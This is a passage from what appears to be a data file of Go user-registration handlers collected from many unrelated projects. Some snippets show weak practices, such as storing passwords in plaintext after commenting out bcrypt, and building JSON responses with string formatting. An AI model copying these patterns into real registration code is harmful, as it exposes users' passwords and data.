[]byte(\"password_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else {\n\n\t\t\tvar userRepository repository.UserRepository\n\n\t\t\tuserRepository = repository.NewUserRepositoryMongo(db, \"pengguna\")\n\n\t\t\tmakeID := uuid.NewV1()\n\n\t\t\thashedPassword, _ := components.HashPassword(r.FormValue(\"password\"))\n\n\t\t\tvar userModel model.User\n\n\t\t\tuserModel.ID = makeID.String()\n\n\t\t\tuserModel.FullName = r.FormValue(\"fullname\")\n\n\t\t\tuserModel.Email = r.FormValue(\"email\")\n\n\t\t\tuserModel.Password = hashedPassword\n\n\t\t\terr = userRepository.Insert(&userModel)\n\n\t\t\tif err != nil {\n\t\t\t\tmsg := []byte(\"register_error\")\n\n\t\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t\t} else {\n\t\t\t\tmsg := []byte(\"register_success\")\n\n\t\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t\t}\n\t\t}\n\t} else {\n\t\terrorHandler(w, r, http.StatusNotFound)\n\t}\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tmessages := make([]string, 0)\n\ttype MultiErrorMessages struct {\n\t\tMessages []string\n\t}\n\n\t//Get Formdata\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\temailadress := r.FormValue(\"email\")\n\trepeatPassword := r.FormValue(\"repeatpassword\")\n\n\t//Check Password\n\tif password != repeatPassword {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Passwort ist nicht richtig wiedeholt worden.\")\n\n\t}\n\n\t//Check Email\n\temail, err := mail.ParseAddress(emailadress)\n\tif err != nil || !strings.Contains(email.Address, \".\") {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Dies ist keine gültige Emailadresse.\")\n\n\t}\n\n\t//Fill Model\n\tuser := model.User{}\n\tuser.Name = username\n\tuser.Password = password\n\tuser.Email = emailadress\n\tuser.Type = \"User\"\n\n\t//Try and check Creating User\n\terr = user.CreateUser()\n\tif err != nil {\n\n\t\t//Write Data\n\t\tmessages = append(messages, err.Error())\n\n\t}\n\n\t//Check if any Error Message was assembled\n\tif len(messages) != 0 {\n\n\t\tresponseModel := MultiErrorMessages{\n\t\t\tMessages: messages,\n\t\t}\n\n\t\tresponseJSON, err := json.Marshal(responseModel)\n\t\tif err != nil {\n\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tw.Write([]byte(err.Error()))\n\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusConflict)\n\t\tw.Write(responseJSON)\n\t\treturn\n\t}\n\n\t//Hash Username\n\tmd5HashInBytes := md5.Sum([]byte(user.Name))\n\tmd5HashedUsername := hex.EncodeToString(md5HashInBytes[:])\n\n\t//Create Session\n\tsession, _ := store.Get(r, \"session\")\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"username\"] = username\n\tsession.Values[\"hashedusername\"] = md5HashedUsername\n\tsession.Save(r, w)\n\n\t//Write Respone\n\thttp.Redirect(w, r, \"/users?action=userdata\", http.StatusFound)\n}", "func HandleRegister(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tbody := RegisterFormValues{}\n\tdecoder := schema.NewDecoder()\n\terr = decoder.Decode(&body, r.PostForm)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\tacc1 := data.Account{}\n\tacc1.Name = body.Name\n\tacc1.Handle = body.Handle\n\tacc1.University = body.University\n\tacc1.Country = body.Country\n\n\th := []byte(acc1.Handle)\n\tre := regexp.MustCompile(`[^[:word:]]`)\n\tm := re.Match(h)\n\tif m {\n\t\tServeHandlePatternNotMatch(w, r)\n\t\treturn\n\t}\n\n\tswitch {\n\tcase len(acc1.Name) < 5:\n\t\tServeNameShort(w, r)\n\t\treturn\n\tcase len(acc1.Handle) < 3:\n\t\tServeHandleShort(w, r)\n\t\treturn\n\tcase len(acc1.University) < 2:\n\t\tServeUniversityShort(w, r)\n\t\treturn\n\tcase len(acc1.Country) < 2:\n\t\tServeCountryShort(w, r)\n\t\treturn\n\t}\n\n\tae, err := data.NewAccountEmail(body.Email)\n\tif err != nil {\n\t\tServeInvalidEmail(w, r)\n\t\treturn\n\t}\n\tacc1.Emails = append(acc1.Emails, ae)\n\n\tap, err := data.NewAccountPassword(body.Password)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tacc1.Password = ap\n\n\tif acc1.IsDup() {\n\t\tServeHandleOREmailDuplicate(w, r)\n\t\treturn\n\t}\n\n\terr = acc1.Put()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\thttp.Redirect(w, r, \"/tasks\", http.StatusSeeOther)\n}", "func Register(r * http.Request, response * APIResponse) {\n\tif AllowsRegister {\n\t\tif r.FormValue(\"username\") != \"\" && r.FormValue(\"password\") != \"\" && r.FormValue(\"name\") != \"\" {\n\t\t\tusername := r.FormValue(\"username\")\n\t\t\tpassword := r.FormValue(\"password\")\n\t\t\trealName := r.FormValue(\"name\")\n\t\t\tif len(password) > 5 && userNameIsValid(username) && nameIsValid(realName) {\n\t\t\t\tif !UserForUserNameExists(username) {\n\t\t\t\t\t//The password is acceptable, the username is untake and acceptable\n\t\t\t\t\t//Sign up user\n\t\t\t\t\tuser := User{}\n\t\t\t\t\tuser.Username = username\n\t\t\t\t\tuser.HashedPassword = hashString(password)\n\t\t\t\t\tuser.UserImageURL = \"userImages/default.png\"\n\t\t\t\t\tuser.RealName = realName\n\t\t\t\t\tAddUser(&user)\n\t\t\t\t\n\t\t\t\t\t//Log the user in\n\t\t\t\t\tLogin(r, response)\n\t\t\t\t} else {\n\t\t\t\t\tresponse.Message = \"Username already taken\"\n\t\t\t\t\te(\"API\", \"Username already taken\")\n\t\t\t\t\tresponse.SuccessCode = 400\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresponse.Message = \"Values do not meet requirements\"\n\t\t\t\te(\"API\", \"Password is too short or username is invalid\")\n\t\t\t\tresponse.SuccessCode = 400\n\t\t\t}\n\t\t} else {\n\t\t\tresponse.Message = \"More information required\"\n\t\t\te(\"API\", \"Couldn't register user - not enough detail\")\n\t\t\tresponse.SuccessCode = 400\n\t\t}\n\t} else {\n\t\tresponse.SuccessCode = 400\n\t\tresponse.Message = \"Server doesn't allow registration\"\n\t}\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tPrintln(\"Endpoint Hit: Register\")\n\n\tvar response struct {\n\t\tStatus bool\n\t\tMessage string\n\t}\n\n\t// reqBody, _ := ioutil.ReadAll(r.Body)\n\t// var register_user models.Pet_Owner\n\t// json.Unmarshal(reqBody, &register_user)\n\n\t// email := register_user.Email\n\t// password := register_user.Password\n\t// name := register_user.Name\n\n\t//BIKIN VALIDATION\n\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tname := r.FormValue(\"name\")\n\n\tif len(name) == 0 {\n\t\tmessage := \"Ada Kolom Yang Kosong\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\tif _, status := ValidateEmail(email); status != true {\n\t\tmessage := \"Format Email Kosong atau Salah\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\tif _, status := ValidatePassword(password); status != true {\n\t\tmessage := \"Format Password Kosong atau Salah, Minimal 6 Karakter\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\t//cek apakah email user sudah ada di database\n\t//query user dengan email tersebut\n\tstatus, _ := QueryUser(email)\n\n\t// kalo status false , berarti register\n\t// kalo status true, berarti print email terdaftar\n\n\tif status {\n\t\tmessage := \"Email sudah terdaftar\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\n\t} else {\n\t\t// hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.MinCost)\n\t\thashedPassword := password\n\t\tRole := 1\n\n\t\t// Println(hashedPassword)\n\t\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\n\t\t\tstmt, err := db.Prepare(\"INSERT INTO account (Email, Name, Password, Role) VALUES (?,?,?,?)\")\n\t\t\tif err == nil {\n\t\t\t\t_, err := stmt.Exec(&email, &name, &hashedPassword, &Role)\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tmessage := \"Register Succesfull\"\n\t\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\tw.WriteHeader(200)\n\t\t\t\tresponse.Status = true\n\t\t\t\tresponse.Message = message\n\t\t\t\tjson.NewEncoder(w).Encode(response)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tmessage := \"Registration Failed\"\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tw.WriteHeader(200)\n\t\t\tresponse.Status = false\n\t\t\tresponse.Message = message\n\t\t\tjson.NewEncoder(w).Encode(response)\n\n\t\t}\n\t}\n}", "func Register(w http.ResponseWriter, r *http.Request){\n\tvar user models.User\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\t\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos: \" + err.Error(), 400)\n\t\treturn\n\t}\n\n\tif len(user.Email) == 0 {\n\t\thttp.Error(w, \"El email es requerido.\", 400)\n\t\treturn\n\t}\n\n\tif len(user.Password) < 6 {\n\t\thttp.Error(w, \"La contraseña debe ser de al menos 6 caractéres.\", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := db.UserExist(user.Email)\n\n\tif found == true {\n\t\thttp.Error(w, \"El usuario ya existe.\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := db.Register(user)\n\n\tif err != nil {\n\t\thttp.Error(w, \"nN se pudo realizar el registro: \" + err.Error(), 500)\n\t\treturn\n\t}\n\n\tif status == false {\n\t\thttp.Error(w, \"No se pudo realizar el registro\", 500)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}", "func (self *server) regist(w http.ResponseWriter, r *http.Request) {\n\tvar (\n\t\terr error\n\t\ttoken string\n\t\tac entity.Account\n\t)\n\n\tac.IP = extension.GetRealIP(r)\n\n\tdefer r.Body.Close()\n\tif err = json.NewDecoder(r.Body).Decode(&ac); err != nil {\n\t\tgoto FAILED\n\t}\n\n\tif err = validate.Account(ac.Account, true); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Password(ac.Password, true); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Mobile(ac.Mobile, false); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Email(ac.Email, false); err != nil {\n\t\tgoto FAILED\n\t}\n\n\t// todo: check account conflict in redis\n\n\t// todo: check ip risk in redis\n\n\tac.Password = crypt.EncryptPwd(ac.Password)\n\tif err = self.db.Reg(self.ctx, &ac); err != nil {\n\t\tgoto FAILED\n\t}\n\n\ttoken = crypt.NewToken(fmt.Sprintf(\"%d\", ac.ID), ac.IP, constant.TokenTimeout, constant.PrivKey)\n\t// err = crypt.ValidateToken(fmt.Sprintf(\"%d\", a.ID), token, ip, constant.PrivKey)\n\tw.Write([]byte(fmt.Sprintf(`{\"id\":%d,\"account\":\"%s\",\"token\":\"%s\"}`, ac.ID, ac.Account, token)))\n\tself.log.Trace(\"regist %s@%s successed\", ac.Account, ac.IP)\n\treturn\n\nFAILED:\n\tw.Write([]byte(fmt.Sprintf(`{\"code\":100, \"msg\":\"%s\"}`, err)))\n\tself.log.Trace(\"regist %s@%s failed: %s\", ac.Account, ac.IP, err)\n}", "func (serv *Server) RegisterUser(creds Credentials) (err error) {\n row := serv.db.QueryRow(\"select uid from users where username = ?;\", creds.Username)\n\n var uid int\n if row.Scan(&uid) == sql.ErrNoRows {\n salt := make([]byte, SaltLength)\n rand.Read(salt)\n\n saltedHash, err := HashAndSaltPassword([]byte(creds.Password), salt)\n if err != nil {\n return err\n }\n\n _, err = serv.db.Exec(\n `insert into users (username, salt, saltedhash) values (?, ?, ?);`,\n creds.Username, salt, saltedHash)\n\n if err != nil {\n err = ErrRegistrationFailed\n }\n } else {\n err = ErrUsernameTaken\n }\n\n return\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == http.MethodGet {\n\t\tfmt.Println(\"http:GET:Register\")\n\t\tsession, _ := auth.GetCookieStore().Get(r, auth.GetSessionCookie())\n\t\tif e := session.Values[auth.USER_COOKIE_AUTH]; e != nil && e.(bool) {\n\t\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tif r.Method == http.MethodPost {\n\t\tm := make(map[string]interface{})\n\t\tfmt.Println(\"http:POST:Register\")\n\t\te := r.FormValue(query.USER_EMAIL_ADDRESS)\n\n\t\tex, _, err := model.Check_User_By_Email(e, \"\")\n\t\tif ex || err != nil {\n\t\t\tm[query.SUCCESS] = false\n\t\t\tb, _ := json.MarshalIndent(m, \"\", \" \")\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tw.Write(b)\n\t\t\treturn\n\t\t}\n\n\t\tu, err := model.CreateUserEP(e, \"\")\n\t\tu.SendWelcomeEmail()\n\n\t\tif err != nil {\n\t\t\tprintln(err)\n\t\t}\n\t\tu.StoreUser()\n\n\t\tm[query.SUCCESS] = true\n\t\tb, _ := json.MarshalIndent(m, \"\", \" \")\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Write(b)\n\t\treturn\n\t}\n}", "func (uh *UserHandler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar userHolder *entity.User\n\tvar password string\n\n\tif r.Method == http.MethodGet {\n\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\ttoken, err := stringTools.CSRFToken(uh.CSRF)\n\t\tif err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t}\n\t\tinputContainer := InputContainer{CSRF: token}\n\t\tuh.Temp.ExecuteTemplate(w, \"SignUp.html\", inputContainer)\n\t\treturn\n\t}\n\n\tif r.Method == http.MethodPost {\n\n\t\tthirdParty := r.FormValue(\"thirdParty\")\n\t\tvar identification entity.Identification\n\t\tfirstname := r.FormValue(\"firstname\")\n\t\tlastname := r.FormValue(\"lastname\")\n\t\temail := r.FormValue(\"email\")\n\t\tidentification.ConfirmPassword = r.FormValue(\"confirmPassword\")\n\n\t\tif thirdParty == \"true\" {\n\n\t\t\tif r.FormValue(\"serverAUT\") != ServerAUT {\n\t\t\t\thttp.Error(w, \"Invalid server key\", http.StatusBadRequest)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tidentification.From = r.FormValue(\"from\")\n\t\t\tidentification.TpFlag = true\n\t\t} else {\n\t\t\tpassword = r.FormValue(\"password\")\n\t\t\tidentification.ConfirmPassword = r.FormValue(\"confirmPassword\")\n\t\t}\n\n\t\t// Validating CSRF Token\n\t\tcsrfToken := r.FormValue(\"csrf\")\n\t\tok, errCRFS := stringTools.ValidCSRF(csrfToken, uh.CSRF)\n\n\t\tuserHolder = entity.NewUserFR(firstname, lastname, email, password)\n\t\terrMap := uh.UService.Verification(userHolder, identification)\n\t\tif !ok || errCRFS != nil {\n\t\t\tif len(errMap) == 0 {\n\t\t\t\terrMap = make(map[string]string)\n\t\t\t}\n\t\t\terrMap[\"csrf\"] = \"Invalid token used!\"\n\t\t}\n\t\tif len(errMap) > 0 {\n\t\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\t\ttoken, _ := stringTools.CSRFToken(uh.CSRF)\n\t\t\tinputContainer := InputContainer{Error: errMap, CSRF: token}\n\t\t\tuh.Temp.ExecuteTemplate(w, \"SignUp.html\", inputContainer)\n\t\t\treturn\n\t\t}\n\n\t\tif identification.TpFlag {\n\n\t\t\tnewSession := uh.configSess()\n\t\t\tclaims := stringTools.Claims(email, newSession.Expires)\n\t\t\tsession.Create(claims, newSession, w)\n\t\t\t_, err := uh.SService.StoreSession(newSession)\n\n\t\t\tif err != nil {\n\t\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thttp.Redirect(w, r, \"/Dashboard\", http.StatusSeeOther)\n\t\t}\n\n\t\tuh.Temp.ExecuteTemplate(w, \"CheckEmail.html\", nil)\n\t\treturn\n\t}\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\tt:= models.Users{}\n\n\terr := json.NewDecoder(r.Body).Decode(&t)\n\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif len(t.Login) < 6 {\n\t\thttp.Error(w, \"Error en los datos recibidos, ingrese un login mayor a 5 digitos \", 400)\n\t\treturn\n\t}\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"Ingrese una contraseña mayor a 5 digitos \", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := bd.CheckUser(t.Login)\n\tif found == true {\n\t\thttp.Error(w, \"Ya existe un usuario registrado con ese login\", 400)\n\t\treturn\n\t}\n\n\tif t.Id_role == 3 {\n\t\tcod := bd.CodFamiliar(t.Cod_familiar)\n\t\tif cod == false {\n\t\t\thttp.Error(w, \"Debe ingresar un codigo de familia correcto\", 400)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif t.Id_role == 1 {\n\t\thttp.Error(w, \"Usted no esta autorizado para crear este tipo de usuario\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Ocurrió un error al intentar realizar el registro de usuario \"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif status == false {\n\t\thttp.Error(w, \"No se ha logrado insertar el registro del usuario\", 400)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}", "func (up Password) Save(ex db.Execer) error {\n\tstr := `\n\tINSERT INTO user_passwords\n\t(user_id, password)\n\tVALUES\n\t(:user_id, :password)\n\t`\n\t_, err := ex.NamedExec(str, &up)\n\treturn err\n}", "func signup(res http.ResponseWriter, req *http.Request, _ httprouter.Params) {\n\tvar user map[string]string\n\n\tdata, err := getBody(req)\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\tif err := json.Unmarshal(data, &user); err != nil {\n\t\tlog.Println(\"signup:\", err)\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\tusername := user[\"username\"]\n\tpassword := user[\"password\"]\n\tif isRegistered(username) {\n\t\twriteJSON(res, 400, jsMap{\"status\": \"Username taken\"})\n\t\treturn\n\t}\n\n\tv, err := srpEnv.Verifier([]byte(username), []byte(password))\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t\treturn\n\t}\n\n\tih, verif := v.Encode()\n\tresp, _, err := sendRequest(\"POST\", walletURI, \"\")\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t\treturn\n\t}\n\n\taddress := (*resp)[\"data\"].(string)\n\t_, err = db.Exec(`\n\t\tINSERT INTO accounts (ih, verifier, username, address)\n\t\tVALUES ($1, $2, $3, $4);`, ih, verif, username, address,\n\t)\n\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": err.Error()})\n\t} else {\n\t\twriteJSON(res, 201, jsMap{\"status\": \"OK\"})\n\t}\n}", "func (env *Env) Register(w http.ResponseWriter, r *http.Request) {\n\tdata := &RegisterRequest{}\n\tif err := render.Bind(r, data); err != nil {\n\t\trender.Render(w, r, ErrInvalidRequest(err))\n\t\treturn\n\t}\n\n\tif !emailRegexp.MatchString(data.Email) {\n\t\trender.Render(w, r, ErrRender(errors.New(\"invalid email\")))\n\t\treturn\n\t}\n\n\tpassword := data.User.Password\n\t_, err := env.userRepository.CreateNewUser(r.Context(), data.User)\n\tif err != nil {\n\t\trender.Render(w, r, ErrRender(err))\n\t\treturn\n\t}\n\n\tdata.User.Password = password\n\ttokenString, err := loginLogic(r.Context(), env.userRepository, data.User)\n\tif err != nil {\n\t\trender.Render(w, r, ErrUnauthorized(err))\n\t\treturn\n\t}\n\n\trender.JSON(w, r, tokenString)\n}", "func (c *RegistrationController) Register(w http.ResponseWriter, r *http.Request) {\n\n\t// parse the JSON coming from the client\n\tvar regRequest registrationRequest\n\tdecoder := json.NewDecoder(r.Body)\n\n\t// check if the parsing succeeded\n\tif err := decoder.Decode(&regRequest); err != nil {\n\t\tlog.Println(err)\n\t\tc.Error500(w, err, \"Error decoding JSON\")\n\t\treturn\n\t}\n\n\t// validate the data\n\tif err := regRequest.isValid(); err != nil {\n\t\tlog.Println(err)\n\t\tc.Error500(w, err, \"Invalid form data\")\n\t\treturn\n\t}\n\n\t// register the user\n\taccount := regRequest.Email // use the user's email as a unique account\n\tuser, err := models.RegisterUser(account, regRequest.Organisation,\n\t\tregRequest.Email, regRequest.Password, regRequest.First, regRequest.Last)\n\n\tif err != nil {\n\t\tlog.Printf(\"Error registering the user: %v\", err)\n\t\tc.Error500(w, err, \"Error registering the user\")\n\t\treturn\n\t} else {\n\t\tc.JSON(&user, w, r)\n\t}\n\n\t// Send email address confirmation link\n\tif err := sendVerificationEmail(user.ID); err != nil {\n\t\tlog.Printf(\"Error sending verification email: %v\", err)\n\t\tc.Error500(w, err, \"Error sending verification email\")\n\t}\n\n}", "func Register(c *gin.Context) {\n\tdb := c.MustGet(\"db\").(*gorm.DB)\n\n\tvar input models.CreateUserInput\n\tif err := c.ShouldBindJSON(&input); err != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": err.Error(), \"message\": \"signUp\", \"status\": false})\n\t\treturn\n\t}\n\t//ensure unique\n\tvar user models.User\n\tif err := db.Where(\"email = ?\", input.Email).First(&user).Error; err == nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"Email Taken!\", \"message\": \"signUp\", \"status\": false})\n\t\treturn\n\t}\n\t//create user\n\thashedPassword, _ := bcrypt.GenerateFromPassword([]byte(input.Password), bcrypt.DefaultCost)\n\thashPass := string(hashedPassword)\n\ttk := models.Token{Email: input.Email}\n\ttoken := jwt.NewWithClaims(jwt.GetSigningMethod(\"HS256\"), tk)\n\ttokenString, _ := token.SignedString([]byte(os.Getenv(\"token_password\")))\n\tuser2 := models.User{UserName: input.UserName, Email: input.Email, Password: hashPass, UserType: input.UserType, Token: tokenString}\n\tdb.Create(&user2)\n\tc.JSON(http.StatusOK, gin.H{\"user\": user2, \"message\": \"signUp\", \"status\": true})\n}", "func (c *Credentials) Register(username, password string) {\n\tuser := EncryptUser(username, password)\n\tc.whitelist[user] = struct{}{}\n}", "func (o *Command) SaveCredential(rw io.Writer, req io.Reader) command.Error {\n\trequest := &CredentialExt{}\n\n\terr := json.NewDecoder(req).Decode(&request)\n\tif err != nil {\n\t\tlogutil.LogInfo(logger, CommandName, SaveCredentialCommandMethod, \"request decode : \"+err.Error())\n\n\t\treturn command.NewValidationError(InvalidRequestErrorCode, fmt.Errorf(\"request decode : %w\", err))\n\t}\n\n\tif request.Name == \"\" {\n\t\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, errEmptyCredentialName)\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(errEmptyCredentialName))\n\t}\n\n\tvc, err := verifiable.ParseCredential([]byte(request.VerifiableCredential),\n\t\tverifiable.WithDisabledProofCheck(),\n\t\tverifiable.WithJSONLDDocumentLoader(o.documentLoader))\n\tif err != nil {\n\t\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \"parse vc : \"+err.Error())\n\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\"parse vc : %w\", err))\n\t}\n\n\terr = o.verifiableStore.SaveCredential(request.Name, vc)\n\tif err != nil {\n\t\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \"save vc : \"+err.Error())\n\n\t\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\"save vc : %w\", err))\n\t}\n\n\tcommand.WriteNillableResponse(rw, nil, logger)\n\n\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, \"success\")\n\n\treturn nil\n}", "func RegisterUser(rw http.ResponseWriter, r *http.Request, enc encoding.Encoder) string {\n\tvar err error\n\tvar user customer.CustomerUser\n\tuser.Name = r.FormValue(\"name\")\n\tuser.Email = r.FormValue(\"email\")\n\tuser.CustomerID, _ = strconv.Atoi(r.FormValue(\"customerID\"))\n\t// user.Active, _ = strconv.ParseBool(r.FormValue(\"isActive\"))\n\tuser.Location.Id, _ = strconv.Atoi(r.FormValue(\"locationID\"))\n\tuser.Sudo, _ = strconv.ParseBool(r.FormValue(\"isSudo\"))\n\tuser.CustID, _ = strconv.Atoi(r.FormValue(\"cust_ID\"))\n\tuser.NotCustomer, _ = strconv.ParseBool(r.FormValue(\"notCustomer\"))\n\tuser.Current = user.NotCustomer\n\tuser.Active = true // forcing active status\n\n\tgenPass := r.FormValue(\"generatePass\")\n\tpass := r.FormValue(\"pass\")\n\taccountNumber := r.FormValue(\"account_ID\")\n\tblnGenPass := false\n\tif genPass == \"true\" {\n\t\tblnGenPass = true\n\t}\n\n\tif user.Email == \"\" || (pass == \"\" && !blnGenPass) {\n\t\terr = errors.New(\"Email and password are required.\")\n\t\tapierror.GenerateError(\"Email and password are required\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\tif blnGenPass {\n\t\tuser.Password = encryption.GeneratePassword()\n\t} else {\n\t\tuser.Password = pass\n\t}\n\n\tuser.OldCustomerID = user.CustomerID\n\tif accountNumber != \"\" { // Account Number is optional\n\t\t// fetch the customerID from the account number\n\t\tvar cust customer.Customer\n\t\terr = cust.GetCustomerIdsFromAccountNumber(accountNumber)\n\t\tif cust.Id == 0 || err != nil {\n\t\t\tif err == nil {\n\t\t\t\terr = errors.New(\"Account Number is not associated to any customer\")\n\t\t\t}\n\t\t\tapierror.GenerateError(\"Invalid Account Number:\", err, rw, r)\n\t\t\treturn \"\"\n\t\t}\n\t\tuser.OldCustomerID = cust.CustomerId\n\t\tuser.CustomerID = cust.Id\n\t\tuser.CustID = cust.Id\n\t}\n\n\t//check for existence of user\n\terr = user.FindByEmail()\n\tif err == nil {\n\t\tapierror.GenerateError(\"A user with that email address already exists.\", err, rw, r)\n\t\treturn \"\"\n\t}\n\terr = nil\n\n\tuser.Brands, err = brand.GetUserBrands(user.CustID)\n\tif err != nil {\n\t\tapierror.GenerateError(\"Trouble getting user brands.\", err, rw, r)\n\t\treturn \"\"\n\t}\n\tvar brandIds []int\n\tfor _, brand := range user.Brands {\n\t\tif brand.ID == 1 || brand.ID == 3 || brand.ID == 4 {\n\t\t\tbrandIds = append(brandIds, brand.ID)\n\t\t}\n\t}\n\n\tif err = user.Create(brandIds); err != nil {\n\t\tapierror.GenerateError(\"Trouble registering new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\t//email\n\tif err = user.SendRegistrationEmail(); err != nil {\n\t\tapierror.GenerateError(\"Trouble emailing new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\tif err = user.SendRegistrationRequestEmail(); err != nil {\n\t\tapierror.GenerateError(\"Trouble emailing webdevelopment regarding new customer user\", err, rw, r)\n\t\treturn \"\"\n\t}\n\n\treturn encoding.Must(enc.Encode(user))\n}", "func (u *UserHandler) Register(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tvar registerReq domain.RegisterRequest\n\terr := json.NewDecoder(r.Body).Decode(&registerReq)\n\tif err != nil {\n\t\tlog.Warnf(\"Error decode user body when register : %s\", err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\terrors := u.Validator.Validate(registerReq)\n\tif errors != nil {\n\t\tlog.Warnf(\"Error validate register : %s\", err)\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(errors)\n\t\treturn\n\t}\n\tuser := domain.User{\n\t\tName: registerReq.Name,\n\t\tEmail: registerReq.Email,\n\t\tPassword: registerReq.Password,\n\t}\n\terr = u.UserSerivce.Register(r.Context(), &user)\n\tif err != nil {\n\t\tlog.Warnf(\"Error register user : %s\", err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tresponse := SuccessResponse{\n\t\tMessage: \"Success Register User\",\n\t}\n\tw.Header().Set(\"Content-Type\", 